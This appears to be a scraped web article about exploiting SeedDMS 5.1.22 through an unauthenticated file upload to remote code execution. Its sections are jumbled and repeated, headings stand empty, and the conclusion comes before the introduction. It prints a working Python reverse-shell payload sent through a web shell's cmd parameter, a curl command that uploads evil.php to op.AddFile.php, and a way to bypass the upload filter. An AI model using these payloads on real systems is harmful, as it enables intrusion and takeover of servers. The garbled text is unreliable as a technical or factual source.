Seeddms 5.1.22: Exploit

Log analysis (Apache/nginx):

System evidence:

Attackers can then:

Example reverse shell (URL encoded):

/seeddms51/conf/settings.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'

The SeedDMS 5.1.22 exploit serves as a textbook case of how a missing authentication check, combined with a weak file upload filter, can lead to a full system compromise. The attack surface is small, the request is simple, and the payoff (RCE) is total. seeddms 5.1.22 exploit

If you are administering a SeedDMS instance, check your version today. If it's 5.1.22 or earlier (pre-5.1.23), assume compromise and perform a full forensic audit.

For penetration testers: this is a reliable, high-impact finding in legacy document management systems. Always test op.AddFile.php for direct POST access—it's often overlooked.

SeedDMS is a popular open-source document management system, frequently deployed by small to medium-sized enterprises for its simplicity and robust feature set. However, version 5.1.22—released in early 2021—contains critical security flaws that have since become prime targets for penetration testers and malicious actors alike.

This article provides a comprehensive analysis of the most severe exploit vectors in SeedDMS 5.1.22, including a pre-authentication SQL injection and an authenticated Remote Code Execution (RCE) chain. We will examine how these vulnerabilities work, how to reproduce them in a lab environment, and crucially, how to patch and harden your deployment. Log analysis (Apache/nginx):

Disclaimer: This information is for educational purposes and authorized security testing only. Unauthorized access to systems is illegal.

If the web server is configured to execute PHP files (default for SeedDMS), an uploaded web shell—e.g., shell.php—placed within the data/ directory or its subfolders, can be accessed directly via HTTP. The attacker then gains the privileges of the web server user (commonly www-data).

Even if a session check existed, the upload validation relied on:

By setting Content-Type: image/jpeg but uploading a .php file (or using a double extension like .php.jpeg), an attacker could bypass the rudimentary filters. System evidence: Attackers can then:

Send a POST request to /op/op.AddFile.php with forged parameters.

Using curl:

curl -X POST http://192.168.1.100/seeddms51/op/op.AddFile.php \
  -F "userfile=@evil.php" \
  -F "name=evil.php" \
  -F "comment=test" \
  -F "sequence=1" \
  -F "documentid=1" \
  -F "folderid=1"

Parameter explanation: